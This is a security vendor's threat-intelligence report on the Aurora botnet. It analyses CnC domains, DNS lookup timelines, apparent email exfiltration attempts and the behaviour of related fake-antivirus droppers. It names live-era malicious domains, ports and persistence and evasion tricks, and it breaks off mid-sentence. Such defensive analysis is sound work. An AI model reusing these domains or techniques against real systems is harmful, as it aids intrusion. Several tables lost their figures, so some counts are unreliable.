The Command Structure of the Aurora Botnet History, Patterns and Findings Executive Overview Following the public disclosures of electronic attacks launched against Google and several other businesses, subsequently referred to as Operation Aurora , Damballa conducted detailed analysis to confirm that existing customers were already protected and to ascertain the sophistication of the criminal operators behind the botnet. There has been much media attention and speculation as to the nature of the attacks. Multiple publications have covered individual aspects of the threat in particular detailed analysis of forensically recovered malware and explanations of the Advanced Persistent Threat (APT). By contrast, Damballa has been able to compile an extensive timeline of the attack dating back to mid-2009 that identifies unique aspects to the Aurora botnet that have been previously unknown. Based upon this new information and our experience in dealing with thousands of enterprise-targeted botnets, Damballa believes that the criminal operators behind the attack are relatively unsophisticated compared other professional botnet operators. Even so, the results proved just as damaging as a sophisticated botnet since the threat was not quickly identified and neutralized. Key observations discussed in the main body of this analysis report: The major pattern of attacks previously identified as occurring in mid-December 2009 targeting Google appear to originate in July 2009 from mainland China. Hosts compromised with Aurora botnet agents and rallied to the botnet Command-and-Control (CnC) channels were distributed across multiple countries before the public disclosure of Aurora, with the top five countries being the United States, China, Germany, Taiwan and the United Kingdom. Damballa identified additional botnet CnC domains used by these criminal operators and established a timeline of malware associations back to May 2nd 2009 by tracking the evolution of the malware used by Aurora s operators. Analysis of network traffic associated with the lookups of the botnet CnC is not consistent with the publicly discussed Internet Explorer 6 infection vector. This botnet has a simple command topology and makes extensive use of Dynamic DNS (DDNS) CnC techniques. The construction of the botnet would be classed as old-school , and is rarely used by professional botnet criminal operators any more. Reliance upon DDNS CnC is typically associated with new and amateur botnet operators The criminals behind the Google attack appear to have built and managed a number of separate botnets and run a series of targeted attack campaigns in parallel. This conclusion is based upon CnC domain registration and management information. The earliest of the CnC domains associated with these botnets, reliant upon DDNS service provisioning, appear to have been registered on July 13th 2009. Take Back Command-and-Control The Command Structure of the Aurora Botnet The botnet operators had access to large numbers of CnC hosts in geographically diverse hosting co-locations from the very start a fairly high cost for a botnet. Further, the botnet employed over a dozen domains in diverse DDNS networks for CnC. Some of the botnet agents focused on victims outside of Google, suggesting that each domain might have been dedicated to a distinct class or vertical of victims. Only the US victims of the attack were compelled to perform mail-based DNS queries an event that would typically indicate attempted document exfiltration via email services. Damballa identified multiple CnC testing, deployment, management and shutdown phases of the botnet CnC channels. Some of the CnC domains appear to have become dormant for a period of time after they infected victim systems. This type of activity can sometimes be associated with an update to the botnet malware, or when the criminal operator sells/trades a segment of the botnet to another criminal operator. The botnet operators behind the Aurora attacks deployed other malware families prior to the key Trojan.Hydraq release. Some of these releases overlapped with each other. Two additional families of malware (and their evolutionary variants) were identified as Fake AV Alert / Scareware Login Software 2009 and Fake Microsoft Antispyware Service, both of which employed fake antivirus infection messages to socially engineer victims into installing malicious botnet agents. By studying the evolution of the Google attacks and tracking the malicious campaigns conducted before (and in parallel to) the public disclosure of Operation Aurora in January 2010, Damballa has established a detailed timeline of infections. Instead of this attack being a sophisticated APT operation, it appears that the attacks originated from a Chinese botnet operations team, and that the attack vector underwent several different phases of botnet building and malware deployment before being discovered by Google. The fact that some of the later attacks utilized a different family of malware and may have exploited Zero-Day vulnerabilities within Internet Explorer 6 as one of the infection vectors is typical for modern botnet distribution campaigns. Botnet operators also increasingly trade or sell segments of the botnets they build. Once sold, the owner of the botnet typically deploys a new suite of malware onto compromised systems. The CnC provides the link between various campaigns run by the botnet operators and the multiple malware iterations. Since Damballa focuses on malicious, remotecontrolled crimeware that depends on CnC to function, we were able to determine the evolution and sophistication of the Aurora botnet and its operators with greater detail and accuracy than other reports to-date. In general, Aurora is just another botnet and typifies the advanced nature of the threat and the criminal ecosystem that supports it. It is important to note, however, that botnets linked to the criminal operators behind Aurora may have been sold or traded to other botnet operators, either in sections or on an individual victim basis. This kind of transaction is increasingly popular. Specialist botnet builders sell access to victim systems or networks for a fee making it very simple for other entities to access confidential business systems and information without needing be technologically proficient. These transactions between criminals are very difficult to detect. Page 2 The Command Structure of the Aurora Botnet Introduction The progression of semi-autonomous malware into globe-spanning botnets with victims numbering in the millions continues to accelerate. In short, botnets, and the criminal ecosystem that supports them, lie at the heart of modern cybercrime. Specialist contractors and service providers occupy every online niche, enabling both newbie hackers and professional botnet operators to overcome technological hurdles and operational barriers for a small price typically stolen identities or access to hijacked systems rather than dollars. All it takes to get started is an Internet search engine and the ability to install software on a computer. Devastating attacks start with a nominal fee for acquiring advanced malware construction tools capable of automatically generating customized botnet agents dramatically superior to tools used by professional hackers only three years ago. Fierce competition within the ecosystem has resulted in the commoditization of these tools and services, which has lowered price points and driven suppliers to differentiate with 24x7 support, money-back guarantees, replacement warrantees and even SLAs. Major international corporations have begun to publicly acknowledge this electronic threat. On January 12, 2010, Google announced that it had been the victim of a targeted attack and had subsequently identified over 34 additional organizations that had similarly been breached by the same criminal team. One major industrial powerhouse has publicly focused on the risks posed by persistent electronic attacks by including references to these threats in their quarterly 10-K filing. Report Objectives The purpose of this report is to explain the advanced state of today s botnet ecosystem by way of example, and to examine the ways in which criminal operators rely upon botnet technologies to breach corporate networks and extract secrets from their victims. Much media fervor has surrounded Google s public disclosure of the successful attacks against their systems. 33 other victims also fell prey to what has been frequently referred to as an Advanced Persistent Threat (APT). This report closely examines the methods employed by the criminal operators who conducted this botnet campaign. Many security vendors have explained the operation against Google, dubbed Operation Aurora, using a military vernacular. However, based upon analysis of exhaustive data surrounding these attacks and examination of both the malware and the CnC topologies used by the criminals behind Aurora, it appears that this threat can best be classified as a just another common botnet attack and one that is more amateur than average. This report details new analysis of the malware evolution and the CnC construction behind these attacks, and provides unique insight into similar threats facing large business. Comparisons are made between the Aurora attacks and professionally orchestrated campaigns run by sophisticated cyber criminals. Timelines track the evolution of this threat help to identify the objectives of the criminals behind the Aurora attacks, and illustrate the advanced state of the botnet ecosystem. Understanding Aurora Malware samples recovered from victim systems using forensic techniques lie at the heart of almost all public analysis of Aurora. The samples directly associated with Aurora are commonly referred to as Trojan.Hydraq. Damballa analyzed the Trojan.Hydraq outbreak using DNS monitoring logs obtained from CnC authority DNS servers. Since every infected host in the Aurora botnet contacted the Page 3 The Command Structure of the Aurora Botnet authority server, DNS logs provided a rich inventory of the botnet s resolution behavior. The logs also delivered insights into the development, gestation and growth of the Aurora botnet. This data leads to several interesting questions: Origins Which network first resolved the botnet CnC domains? Who was the first victim? Are there clues in the first DNS lookups as to the authors or origin of the network? The analysis below shows that a university in China, and a Chinese collocation facility (colo), were critical early incubators of the infection. Portions of the infection originated from within Google China s offices. Remediation and Damage Assessment Who else resolved the botnet CnC domains before news of the malware became public? What were the victim systems forced to do? Public accounts state that the botnet harvested email information. The DNS log analysis reveals numerous MX-lookups (mail-related DNS lookups). If these lookups are related to document theft, it is reasonable to estimate the number and timing of attempted exfiltration events. In addition to the type of DNS traffic, the log analysis also reveals where the victims are located. Almost all (99%) of these events took place inside Google s US network. No victim in any other country performed MX lookups, suggesting Aurora s data exfiltration targets were all in the U.S. The pattern of MX lookups appears automated and lacks any diurnal properties. Capabilities What else does DNS log analysis suggest, and what other questions does it raise about the attack? Damballa s analysis helps illumine the origin of the botnet, based on years of observing the authority servers used in the Aurora CnC. Previously Disclosed Aurora Knowledge Operation Aurora refers to the investigations of a cyber attack which appeared to have begun in midDecember 2009 and continued through to February 2010. Aurora was first publicly disclosed by Google on January 12, 2010 and is commonly associated with attacks originating from China. The Aurora name was originally publicized by Dmitri Alperovitch, Vice President of Threat Research at McAfee, and refers to a file path artifact that might reveal what the criminal authors of the malware named their operation. Key facts publicly associated with Aurora: a) Google stated that some of their intellectual property had been stolen and publicly announced the attack on January 12th 2010. b) While the scope of reported victims includes around 34 organizations, only Google, Adobe Systems, Juniper Networks and Rackspace have publicly confirmed that they were targeted. Various media reports have stated that Yahoo, Symantec, Northrop Grumman, Dow Chemical and the Rand Corporation were also among the targets. c) Many security agencies and experts claim the attack to be a sophisticated use of advanced tools and techniques most notably the use of a Zero-Day exploit for a previously unknown vulnerability in Microsoft s Internet Explorer 6 browser technology. d) The public name for the malware component that allowed the Aurora criminal operators to remotely control their victims system is called Trojan.Hydraq. e) The Aurora attacks are widely assumed to be an APT originating from within China. Page 4 The Command Structure of the Aurora Botnet Advanced Persistent Threats Advanced Persistent Threats (APTs) are a cybercrime category directed at business and political targets. APTs require a high degree of stealithiness over a prolonged duration of operation in order to be successful. The attack objectives therefore typically extend beyond immediate financial gain, and compromised systems continue to be of service even after key systems have been breached and initial goals reached. Definitions of precisely what an APT is can vary widely, but can best be summarized by their named requirements: Advanced Criminal operators behind the threat utilize the full spectrum of computer intrusion technologies and techniques. While individual components of the attack may not be classed as particularly advanced (e.g. malware components generated from commonly available DIY construction kits, or the use of easily procured exploit materials), their operators typically access and develop more advanced tools as required. They combine multiple attack methodologies and tools in order to reach and compromise their target. Persistent Criminal operators give priority to a specific task, rather than opportunistically seeking immediate financial gain. This distinction implies that the attackers are guided by external entities. The attack is conducted through continuous monitoring and interaction of a botnet in order to achieve the defined objectives. It does not mean a barrage of constant attacks and malware updates. In fact, a low-and-slow approach is usually more successful. Threat Means that there is a level of coordinated human involvement in the attack. The criminal operators have a specific objective and are skilled, motivated, organized and well funded. Damballa s Perspective Damballa s research and technical expertise focuses on the detection of CnC tethering and the malicious communications between a victim s computer and the remote criminal operator. Damballa detects new botnet CnC channels as they are created and used by criminal operators. This globespanning array of network sensors monitors CnC use to identify victims that join botnets. Damaballa used key DNS observations about the operational characteristics of Dynamic DNS zones (e.g. zone cuts, TTL changes, NS changes, etc.) in order to identify the different states in which the botnet was operated by its criminal controllers. Changes in the way that a DNS zone is structured by criminals typically denotes an intension to develop, test, and operate malicious infrastructure, or abandon a particular zone and move to a new one. Damballa also reviewed historical DNS resolution data derived from our passive observation systems to identify when (and how frequently) the CnC domain names associated with the Aurora botnet were queried. This information provided valuable insight into the pace at which victims rallied to the botnet and established a timeline for Aurora. Page 5 The Command Structure of the Aurora Botnet 1000000 100000 10000 1000 7/1/2009 8/1/2009 9/1/2009 10/1/2009 11/1/2009 12/1/2009 1/1/2010 Figure 1: Cumulative volume of CnC domain name resolutions. Absolute numbers do not represent individual victims (i.e. victim computers make repeated lookups based upon the TTL of the CnC domain and relative malware activity on the system), but do depict approximately when the CnC domains were first used by the Aurora botnet. From this passive DNS resolution dataset, that date appears to be June 14, 2009. These network observations combine with Damballa s ability to identify Zero-Day remote access malware and botnet agents within customers networks to determine additional CnC relationships. Zero-Day malware samples are automatically passed to Damballa s analysis cloud along with tens-ofthousands of new malware variants obtained through industry security sharing programs. These network behaviors are extracted, and provide Damballa with additional insight into CnC evolution and criminal ownership. They also allow us to cluster various malware and botnet agents automatically with their respective criminal operators despite factors such as serial variant production, migrations to new malware families and sub-contracting malware development to other criminal authors. Trojan.Hydraq is the name of a family of malware now synonymous with Operation Aurora. To date, only a handful of related samples have been made public by various security vendors almost all of which were gathered through forensic analysis of compromised computers. However, it is important to understand that not only are there multiple variants of malware within the Trojan.Hydraq family, but that criminal operators also use(d) other malware families in their attacks. Based upon analysis of samples and data gathered by Damballa, malware associated with the criminal operators behind the Aurora botnet can be traced back to August 2009. A holistic DNS forensic analysis of any botnet that utilizes DNS as a critical communication element requires DNS information from both the iterative and recursive DNS phases. Utilizing large scale passive DNS information from large ISPs and DNS traces from a significant portion of the CnC s DNS authority servers (ANS) Damballa has identified more than many infected hosts that attempted to connect or rally to the five CnC domain names associated with the Aurora botnet and investigated in this report. These hosts where distributed across multiple countries at the time of the public Google disclosure (January 12, 2010). Page 6 The Command Structure of the Aurora Botnet Position Country United States China Germany Taiwan United Kingdom Table 1: Top 5 countries with Aurora botnet victims Damballa s passive DNS data collection indicates that the infection vector was not centralized, and that a significant number of infected assets tried to look up CnC domain names throughout the US, with a higher frequency in the Northeast. Figure 2: Volume of DNS queries per Aurora CnC domain associated with the attacks within the USA, by geographic region Some interesting observations can be made about the lifetime and popularity of the CnC domains used. The next figure shows that portions of the CnC domain names were active since the beginning of September 2009 (e.g. google.homelinux.com, yahoo.blogdns.net, mcsmc.org). These domain names reveal two important trends a downward-spike during the month of October and a steady hit rate for the remaining months. Beside these long-lived CnC domain names, Damballa observed a number of domain names that become active in the early days of November. Some of them were active only for a couple of months (e.g. filoups.info), while others where active longer Page 7 The Command Structure of the Aurora Botnet (e.g. m7been.zapto.org, baltika1.servebeer.com, etc.) before they where sinkholed by corresponding DNS operators. Figure 3: Volume of DNS resolution queries per Aurora botnet, per month. Spikes in query volume typically indicate growth of a botnet and renewed CnC interaction. The Major Components Botnets are a business. Professional criminal operators employ specialist tools, services and methodologies to conduct their botnet operations. While botnet discussion has been tied malware families in the past (e.g. The Conficker Botnet The Koobface Botnet ), today s botnet operators regularly employ multiple families of malware, considering them disposable attack tools. The key elements of a botnet are: Malware The tool used by botnet operators to conduct malicious activities on victims computers and to provide remote control capabilities. CnC The electronic tether between the criminal operator, a control server and victims computers. CnC Domain The domain name of the host being used for CnC conduct or to route communications between the control server and the victim s computer. CnC Server The server used by the botnet operators to rally and provide electronic tethers to victim computers. Botnet The collective name for malware-infected victims with established connections to a CnC server and remotely controlled by criminal operators. Criminal Operators The person or team that builds, manages and reaps financial reward from a botnet. Page 8 The Command Structure of the Aurora Botnet How Advanced Persistent Threats Breach Enterprises APTs breach enterprises through a wide variety of vectors, even in the presence of properly designed and maintained defense-in-depth strategies: Internet-based malware infection Physical malware infection External exploitation Well funded APT adversaries do not necessarily need to breach perimeter security controls from an external perspective. They can, and often do, leverage insider threat and trusted connection vectors to access and compromise targeted systems. Abuse and compromise of trusted connections is a key ingredient for many APTs. While the targeted organization may employ sophisticated technologies in order to prevent infection and compromise of their digital systems, criminal operators often tunnel into an organization using the hijacked credentials of employees or business partners, or via less-secured remote offices. As such, almost any organization or remote site may fall victim to an APT and be utilized as a soft entry or information harvesting point. A key requirement for APTs (as opposed to an everyday botnet) is to remain invisible for as long as possible. As such, the criminal operators of APT technologies tend to focus on low and slow attacks stealthily moving from one compromised host to the next, without generating regular or predictable network traffic to hunt for specific data or system objectives. Tremendous effort is invested to ensure that malicious actions cannot be observed by legitimate operators of these systems. Page 9 The Command Structure of the Aurora Botnet Malware is a key ingredient in successful APT operations. Modern off-the-shelf and commercial malware includes all of the features and functionality necessary to infect digital systems, hide from host-based detection systems, navigate networks, capture and extricate key data, provide video surveillance and deliver silent covert channels for remote control. APT operators often use custom malware tools to achieve specific objectives and harvest information from non-standard systems. At the very heart of every APT lies remote control functionality. Criminal operators need this capability in order to navigate to specific hosts within target organizations, exploit and manipulate local systems, and gain continuous access to critical information. If an APT cannot connect with its criminal operators, then it cannot transmit any intelligence it may have captured. In effect, it has been neutered. This characteristic makes APTs appear as a sub-category of botnets. While APT malware can remain stealthy at the host level, the network activity associated with remote control is more easily identified. As such, APTs are most effectively identified, contained and disrupted at the network level. Controlling the Victim Once the victim s computer has been compromised, the malware component will typically establish its first CnC session to register itself with the botnet CnC server. In order for this to occur, the botnet operator must correctly set up the CnC servers and also configure appropriate resolution services such as registering domain names and configuring DNS resolution settings. Depending upon the sophistication of the botnet operators, this CnC infrastructure can take on many different forms, with each alternative offering varying degrees of robustness and flexibility. Readers are encouraged to read Damballa s earlier whitepaper titled, Botnet Communication Topologies: Understanding the Intricacies of Botnet Command-and-Control, for more information on this topic. Page 10 The Command Structure of the Aurora Botnet Detailed analysis of DNS intricacies for CnC domain name querying and management follow. Key Concepts: DNS Overview DNS resolution can be generally viewed as having two phases a private stub (or recursive ) layer, and a public authoritative (or iterative ) layer. Figure 4: Conceptual view of Aurora DNS lookups and multiple monitoring opportunities. Damballa used the convenience of an authority monitoring system to gather [qr aa] responses. The figure above illustrates how Aurora victims performed DNS lookups, and provides a simplified delegation tree for several of the Aurora-related CnC domains. An Aurora authority DNS zone is depicted: the light blue zone delegated to No-IP. The No-IP zone has been simplified in the diagram to include the authority DNS servers, nf[1-4].no-ip.com, as well as the actual Aurora CnC domain, blog1.servebeer.com, even though in practice these are separate delegations from the .com TLD parent. An infected host is depicted in the light green area. Its resolution path consists of the virus code (designated as VX), a local stub resolver (often available through various statically named or random DLL files on Windows hosts), and a local recursive DNS server. The private portions of DNS traffic occur within this local envelope, colored as the light green area. No DNS monitoring takes place here, in part because of the possible presence of PII, and because of the staggering volume of traffic monitoring might entail, for even a small network. Such networks often generate billions of queries per day below the recursive. When a victim attempts to contact the Aurora CnC domain blog1.servebeer.com, it must first discover the delegation of the zone to the No-IP authority name servers. (To save space, these steps are not shown in the figure above). The overall delegation of authority is shown in the figure as a tree. The hosts nf[1-4].no-ip.com are the authorities for the CnC zone. Thus, the victim network recursive server discovers these name servers, queries for the Aurora CnC domain, and caches the answer. Dynamic DNS and IP-Agility Botnets have used Dynamic DNS services (DDNS) for nearly 8 years. For the most part, the role of DDNS in professional, criminal botnets is historic. Concentrated cleanup efforts and a few well documented arrests have changed the class of botmaster using DDNS. For the most part, professional cyber criminals do not use DDNS for botnet rallying, since DDNS providers: Page 11 The Command Structure of the Aurora Botnet a) are generally responsive to law enforcement; b) keep logs; and c) a few are famously known to actively monitor and remediate their networks. Since 2007, most professional criminal botnet CnCs (e.g., Russian mafia) have moved away from DDNS, because of the aggressive stance taken by the major DDNS providers against botnet abuse. While there has been a recent return of novice botmasters to the free DNS services, the professional criminal botmasters have largely moved on to more resilient, agile DNS technologies. For example, professional botnets buy tens of thousands of domain names, and use domain agility instead of the IP agility found in DDNS. The best example of this is Conficker.C. The decline in professional botnet use of DDNS services has been so dramatic that many anti-botnet researchers changed their focus to new areas of threat. The average botmaster still using DDNS is generally a novice, and the malware they seed on victim machines is often kit-generated. There are a few exceptions where amateur botmasters evolve into professionals, but the bulk of botnets relying upon DDNS remain novice efforts, and use only a few domain names with a single DDNS provider. The Aurora botnet uses DDNS and old school coordination techniques not used by sophisticated botmasters who have the means to purchase and manage dozens of domain names. And yet despite having the signature of a novice effort, it also used numerous different DDNS services. Network Analysis The network analysis in this report encompasses the CnC domain names known to be publicly associated with the Aurora attacks, plus an additional four non-public domains (listed below) which are related to the criminal operators behind the Aurora attacks through shared DDNS registration credentials and their synchronized management. Domain Authority Creation Date (UTC) CnC_Domain.1 December 15, 2009 CnC_Domain.2 December 15, 2009 CnC_Domain.3 July 13, 2009 CnC_Domain.4 December 15, 2009 blog1.servebeer.com December 15, 2009 Table 2: DDNS botnets with characteristics identical to the Aurora botnet and shared DDNS credentials. The first four of these CnC domains have been intentionally obscured. The DNS TTL data associated with these interlinked Aurora domain names reveals that there were different phases to their use. The figure below indicates when a particular CnC domain name was sinkholed or idle (i.e. not pointing to a specific Internet IP address, or pointing to a local loopback address such as 127.0.0.1), it was pointing at probable development IP addresses as the criminal operators experimented with their attack tools, such as when the CnC domain names were pointing at the IP addresses associated with two of the CnC servers used during the Aurora attack. Page 12 The Command Structure of the Aurora Botnet Figure 5: CnC domain name transition changes as the attackers developed botnet attacks. Based upon passively obtained DNS resolution data from sensors scattered around the globe (but predominantly US based), Damballa observed that several key CnC domains resolved to different server IP addresses over the period of study. The transitions from one IP address to another can be used to identify the different phases of botnet development (e.g. as depicted in the figure above), as well as the nature of the CnC servers hosting and botnet topology (e.g. whether parts of the CnC network were using fast-flux services). The table below lists the number of IP address changes to the CnC domain name resolution and is a lower bound number, since Damballa does not monitor all Internet traffic. CnC Domain Name Distinct IP Addresses baltika1.servebeer.com m7been.zapto.org miecros.info mcsmc.org yahoo.blogdns.net filoups.info google.homeunix.com Table 3: The number of distinct IP addresses observed by Damballa and associated with each of the CnC domain names for the period of August 2009 to the Google Aurora disclosure on January 12, 2010. Page 13 The Command Structure of the Aurora Botnet Overview of CnC Domains Not all of the authority servers hosted by the DDNS providers for this botnet were monitored by Damballa and sampling practices were adopted for this analysis. In general, for large botnets, the sampling this produces is more than adequate to detect professional cyber criminal botnets. Around 5,236 recursive DNS servers visiting the Aurora CnC authorities used BIND. The table below lists the major types. Damballa identified a signature specific to Chinese closed recursive DNS servers that provides policy insight to some selected resolvers. The table below provides counts of queries from recursive DNS servers for both ISO-3166 country code and qtype. All data was gathered on or before January 11, 2010 (the eve of the Google public announcement) to avoid polluting queries from the press and researchers. It is estimated that Google discovered this attack in mid to late December, 2009, so some of the resolution traffic could be associated with their internal remediation. The table also demonstrates that only US victims were required to perform MX queries, hinting at data extraction via SMTP mail services. Query Type Others 15 (MX) 143,015 1 (A) 52,787 28 (AAAA) 12,254 Table 4: Breakdown of qtype by country code of recursive, for all five studied Aurora botnet CnCs. Highlights: (a) Only the US victims were compelled to perform MX queries (qtype 15); all networks in China and other countries never performed an MX query; (b) No AAAA (qtype 28) queries were performed by international victims, who were presumably collateral victims; the pairing of AAAA to A queries is discussed below; and (c) Most queries were MX (68% overall), and the attack heavily biased towards the US (also 68 % overall). CnC Domains over Time Damballa s analysis of DNS data has revealed the very early origin (July 2009) of the botnet. Even during this early deployment, the botnet was widely dispersed. Since these were the first DNS resolutions for these attacks, it is reasonable to assume they are associated with the botmaster (e.g., testing or configuring their attack), and not victims. Thus, these resolutions might correspond to several CnC sites. If this theory is correct, it suggests that, despite using naive DDNS services typical of novice botnet operators, the Aurora botmasters had considerable resources available to them. CnC_Domain.1 The first resolution for CnC_Domain.1 came from within Google China s offices. It was followed hours later by resolutions inside Google s offices in Mountain View, California. The pattern of lookups is remarkable, and is worth closer study. The first queries for CnC_Domain.1 were: 2009-12-16 05:26:44 2009-12-17 22:39:09 2009-12-17 22:39:09 AAAA AAAA (Google China) (Google Mountain View) (Google Mountain View) Page 14 The Command Structure of the Aurora Botnet Counting Attempted Exfiltration Events Other patterns of DNS messages in CnC_Domain.1 suggest the attempted exfiltration of data. Consider this ordering of queries: 2009-12-18 06:29:09 2009-12-18 06:29:09 (Google Mountain View) (Google Mountain View) The queries both happen in under a second, indicating that a host using a recursive resolver wished to send email to the CnC_Domain.1 CnC (hence the MX lookup). Dynamic DNS zones, however, almost never have valid MX RRsets, or if they do they are pointed to abuse@traps or spamtraps. Only a few DDNS providers offer mail, and the first query was therefore answered with an empty record (NOERROR status, with zero answers). As a result, the victim immediately performed an A query, to use the IP address for email. Whether these queries were followed by actual or successful email events is not known. All MX queries in CnC_Domain.1 came from the United States (and no other network outside the US performed such a query before the news broke). Before January 10th 2010, some 110,810 MX queries came from Google Mountain View, and one came from Comcast (San Jose). This Comcastbased query may have been testing by a Google security engineer, or it may have been an infection on a notebook after work (since the query took place in the late evening hours, PST). From the volume of messages, it is presumed that each MX query corresponds to a single email exfiltration attempt. It would be hard to imagine a botmaster being able to direct these events individually. Thus, it may not be the case that bots were instructed to email materials when a specific event took place. Or the consistent pattern of queries could be the result of persistent searches of a hard drive, and attempted, periodic exfiltration of any useful data. This conclusion is speculation. The lack of any diurnal pattern to these events does indicate that the trigger event for an MX lookup was not human-driven (e.g., the arrival of email on a victim machine, or selected actions by the botmaster). It is not known what information was taken, if any, or if these queries were in fact victim behavior. Public accounts from Google indicate that the attackers sought email records of human rights activists. It is speculated that Google would have prevented the direct-to-MX behavior of hosts within their network. That is, in many corporate networks, individual user machines are prohibited from sending email directly, and must instead use a smart host or authenticated relay system. Thus, these MX lookups may well be side effect of an unsuccessful exfiltration effort. The malware also used ports 443 and 8585 for CnC, and could be instructed to perform any command. CnC_Domain.3 The CnC_Domain.3 CnC domain is interesting because of its age. The botnet dates back to July 14, 2009, fell dormant for months, and then became active again within Google s network. Of the five CnC domains studied in detail within this report, this is the oldest, and most strongly suggests an origin for the botnet. The early queries for the Aurora CnC domain CnC_Domain.3 took place in the HangZhou region, with some occurring in Beijing. The domain had a remarkable number of queries from mainland China Page 15 The Command Structure of the Aurora Botnet and collocation facilities in the US within minutes of being created. Seconds later, another query came from Chinanet s network in the Chongqing area. The close timing of these suggests the owners of CnC_Domain.3 had access to ISP, university, and commercial transit. 2009-07-14 02:50:03 2009-07-14 02:57:38 2009-07-14 02:58:31 2009-07-14 03:03:11 2009-07-14 03:03:44 2009-07-14 03:04:28 2009-07-14 03:13:18 (HiNet Taiwan) (CHINANET Jiangsu) (CHINANET HangZhou) (HangZhou Institute of Electronic Engineering) (CHINANET Chongqing) (FDC Servers, US Chicago) (Level 3, US Washington) The pattern of these lookups suggests that the author was performing testing, and had access to two different transits (e.g., a school network and an ISP). CnC_Domain.2 The first query for the CnC_Domain.2 domain came from Google s Mountain View recursive. 2009-12-17 22:39:09 2009-12-18 06:27:58 2009-12-18 06:27:58 2009-12-18 18:15:18 2009-12-18 18:15:18 2009-12-18 18:15:18 2009-12-18 18:19:30 2009-12-18 18:19:30 AAAA AAAA AAAA (Google Mountain View) (Google Mountain View) (Google Mountain View) (Comcast; San Jose) (Comcast; San Jose) (Comcast; San Jose) (Google-IT) (Google-IT) The CnC_Domain.2 CnC domain is also notable because it witnessed queries from many other networks outside of Google before the public news broke. This domain has never been identified publicly as part of Aurora. Networks performing queries up to January 10, 2010 include numerous ISPs. Observed Loss of Queries When a botnet is remediated at the DNS level, the associated victims continue to query the authority DNS server. Unless and until the local network cleans the hosts or imposes network blocks, victim traffic to the authority will continue. A sudden loss of network traffic from a country, however, can be unusual, particularly where the victims are spread over disparate (heterogeneous policy) networks. That is, it is unlikely that many different networks would simultaneously remediate hosts. Thus, while it may seem likely that all victims in a single network disappear (e.g., as when a network operator deploys a firewall rule), it is remarkable when all victims in diverse policy boundaries also disappear. Such centralized control speaks to the management of the botnet, and gives clues as to the policy preferences of the botmaster to attack/not attack a given suite of networks or countries. Hosts performing DNS queries exhibited a random pattern of A queries. The TTL periods for the CnC domains was always short, meaning there was only a short period of time during which a stub query could be answered from cache, and not recorded at the authority. This behavior is typical of fast flux Page 16 The Command Structure of the Aurora Botnet networks. An increase in TTL from 60 to 360 seconds was identified, which signifies the cut over from the default zone TTL to the SOA.minimum used for wildcarded domains. Thus, the DDNS domains used in the attack appear to have been deregistered before December 18 and remained open for anyone in the world to register until the first week of January 2010. The Malware Evolution Aurora malware families date as far back as August of 2009. This trail helps determine the evolution and common characteristics of malware used by Operation Aurora, as well as a common modus operandi on the bot agents deployed as part of the attacks. The result is more than just an analysis of individual malware families. Rather, it helps profile the criminal operators behind Aurora via: Malware Delivery Method How does the malware get into the system? Is there a common delivery method or is it random? System Behavior Are the symptoms evident in the system common to all Aurora malware families or do they differ? Do the families use the same infection techniques, protection mechanisms and/or AV evasion techniques? Network Behavior Do the malware families exhibit the same network behavior? CnC Server Trials Powered by Zero-Day Malware Variants The table below lists significant events in the deployment and use of one of the Aurora botnet CnC servers known to the public, filoups.info, based on our data mining and analysis of malware samples and network traffic collected by Damballa. Several initial trials were conducted by the botnet operator prior to the production use of this CnC server. The first set of CnC domains appeared in a FakeAV Trojan malware family1-a in the beginning of May 2009. There were several variants of the family1 malware in the wild in 2009. The second set of CnC domains was used by a new family1-b malware variant in October 2009. By leveraging new Zero-Day malware variants, the botnet operator(s) could easily evade AV product detection and experiment with different CnC domain construction and communication. For example, different combinations of CnC domains were tried by both family1-c and family1-d malware variants in late October 2009. Finally, the CnC domain filoups.info was deployed and used by malware family1-e in November 2009. Domain mcsmc.org thcway.info miecros.info mnprfix.cn micronetsys.org filoups.info family1-a family1-b family1-c family1-d family1-e Date 5/2/2009 8/18/2009 10/20/2009 10/22/2009 11/26/2009 Table 5: Botnet CnC trial evolution powered by Zero-Day malware variants. Page 17 The Command Structure of the Aurora Botnet The family1-e malware is part of Fake AV Alert/Scareware family analyzed below. The behavior of Fake Alert/Scareware is quite similar to Trojan.Hydraq malware associated with the actual Aurora attacks, albeit in a much more primitive form. Sample Analysis Details The additional samples in Damballa s possession that have been clustered as part of Aurora botnet malware can be separated into two distinct families of Fake AV Alert / Scareware: Login Software 2009 and Microsoft Antispyware Services. The first samples of each family were discovered by Damballa on November 26 2009 and August 19, 2009 respectively. The analysis details are broken down into the following: First Discovered The time when the sample was first discovered and acquired by Damballa. Prevalence The date range when the samples are still being seen in the wild by Damballa. Infection Vector How the samples are delivered to the unsuspecting victims. Symptoms Observable behaviors in the system that signals the possible presence of malware without actually looking at the registry or searching for the malware file itself. System Behavior How the malware works its way through the system to execute its objective. Network Behavior A detailed look at how the malware utilizes the domains it connects to. Protection Mechanism How the malware hides from the user or system inspection tools. AV Evasion Techniques How the malware protects itself from being detected by AV host solutions. Intent The main purpose of the malware family Page 18 The Command Structure of the Aurora Botnet Fake AV Alert / Scareware Login Software 2009 Fake Microsoft Antispyware Service Discovered 2009-11-26 2009-08-19 Prevalence November 2009 January 2010 August 2009 September 2009 Infection Vector Fake AV alerts on compromised or malicious Web sites Fake AV / Scareware Symptoms System Behavior Login Software 2009 process in startup Menu Bar and Toolbar of Internet Explorer is missing System Restore is disabled Folder Options in Windows Explorer is disabled Extensions of known file types are hidden Registry Tools disabled, rendering registry editing inoperable Local Settings folder under C:\Documents and Settings\\ (where the malware dropper places the dropped and downloaded executables) Presence of C:\Documents and Settings\\Windows\system folder Pop-up ads Presence of tracking cookies and displays ads from: counter.surfcounters.com looksmart.com maxsun.biz moreverde.com oranges88.com smarttechnik.com www.prma-enhance.com Malware propagates through fake malware alerts. The supposed AV installer is actually the malware dropper. Its main purpose is to drop and install the rest of the malware components. Upon execution, it assigns a specific ID to the compromised host, then Page 19 Microsoft Antispyware Services process in startup Malware propagates through fake malware alerts. The supposed AV installer is actually the malware dropper. Its main purpose is to drop and install the rest of the malware components, typically: The Command Structure of the Aurora Botnet registers it to its malware server Web site and downloads the rest of the malware to the compromised host. To ensure that the malware is downloaded, the creator of this malware dropper uses redundancy in its malware serving Web infrastructure. The dropper checks three different Web sites: mcsmc.org micronetsys.org mnprfix.cn When Damballa discovered this malware dropper in August 2009, the downloaded executable was version 0. The current version is 3. The functionalities remain similar. After the successful download of the main component, the main dropper generates a random name and copies the downloaded component to C:\Documents and Settings\\Local Settings folder. It calls itself Login Software 2009. The dropped file is then executed to make it active in memory. It survives reboot by autostarting using a common registry entry: 